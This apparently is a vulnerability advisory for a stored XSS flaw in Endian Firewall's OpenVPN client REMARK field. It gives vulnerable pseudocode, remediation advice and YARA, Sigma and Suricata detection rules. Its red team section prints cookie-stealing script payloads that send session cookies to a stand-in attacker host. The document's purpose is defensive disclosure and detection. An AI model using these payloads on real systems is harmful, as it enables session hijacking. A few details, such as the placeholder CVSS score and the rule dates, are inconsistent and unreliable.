CVE-2026-34819

Executive Summary

CVE-2026-34819 is a stored cross-site scripting (XSS) vulnerability affecting Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the REMARK parameter in /cgi-bin/openvpnclient.cgi. The injected script is stored on the server and executed when other authenticated users view the affected page. This allows the attacker to steal session cookies, perform actions on behalf of other users, or deface the interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch has been released at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – A victim must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous within the user base.

Deep Dive & Mechanics

The vulnerability resides in the REMARK parameter of the /cgi-bin/openvpnclient.cgi endpoint. This parameter is used to store a user-provided remark or description for an OpenVPN client configuration. The application fails to sanitize or encode the input before storing it in the backend database or configuration file. When another authenticated user navigates to the page that displays these remarks, the unsanitized input is rendered in the browser, executing any embedded JavaScript.

The attack flow:

1. Attacker logs into the Endian Firewall web interface.
2. Attacker navigates to the OpenVPN client configuration page.
3. Attacker sets the REMARK parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored on the server.
5. Another authenticated user views the OpenVPN client list or details page.
6. The victim's browser executes the malicious script.
7. The script can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25): The REMARK parameter is directly stored and rendered without sanitization.

// Pseudocode for vulnerable CGI handler
char *remark = get_cgi_param("REMARK");
if (remark) {
    // Directly store without sanitization
    store_in_database(remark);
}
// Later, when rendering:
printf("<td>%s</td>", remark); // No encoding

Patched Code (Hypothetical): The input should be HTML-encoded before rendering.

// Patched version
char *remark = get_cgi_param("REMARK");
if (remark) {
    // Sanitize input
    char *safe_remark = html_encode(remark);
    store_in_database(safe_remark);
}
// When rendering:
printf("<td>%s</td>", safe_remark); // Safe

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Endian Firewall instance (version <= 3.3.25).
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the OpenVPN client configuration page (e.g., https://target/cgi-bin/openvpnclient.cgi).
3. Set the REMARK parameter to a malicious payload. Example payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for another authenticated user to view the page.
6. The victim's browser will send their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker.com/log.php?session=' + document.cookie;
</script>

Blue Team

Detection:

• Monitor logs for unusual REMARK parameter values containing <script> or onerror attributes.
• Use web application firewall (WAF) rules to block common XSS patterns in the REMARK parameter.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Mitigation:

• Apply input validation and output encoding for all user-supplied data.
• Restrict access to the OpenVPN client configuration page to only necessary users.
• Monitor for anomalous outbound connections from the firewall interface.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the firewall's management interface.
  • Suspicious REMARK parameter values in HTTP POST requests to /cgi-bin/openvpnclient.cgi.
• File IOCs:
  • Modified configuration files containing JavaScript payloads.
• Log IOCs:
  • Log entries showing REMARK parameter with HTML tags or JavaScript code.

Detection Engineering

YARA Rule

rule CVE_2026_34819_XSS_Remark {
    meta:
        description = "Detects stored XSS payload in Endian Firewall REMARK parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-34819"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via REMARK Parameter in Endian Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34819 by injecting XSS payloads into the REMARK parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/cgi-bin/openvpnclient.cgi'
        cs-uri-query|contains: 'REMARK='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34819 - Stored XSS via REMARK parameter in Endian Firewall";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/openvpnclient.cgi";
    http_uri;
    content:"REMARK=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34819;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the OpenVPN client configuration page if not required, or restrict access via IP whitelisting.
2. Implement a Web Application Firewall (WAF) to block XSS payloads in the REMARK parameter.
3. Manually sanitize input by editing the CGI script to HTML-encode the REMARK parameter before storage and display.

Long-term Fix:

• Apply an official patch from Endian when available.
• Upgrade to a patched version of Endian Firewall.
• Conduct a security audit of all CGI scripts for similar vulnerabilities.

Workaround:

• Use a reverse proxy with XSS filtering capabilities in front of the firewall's web interface.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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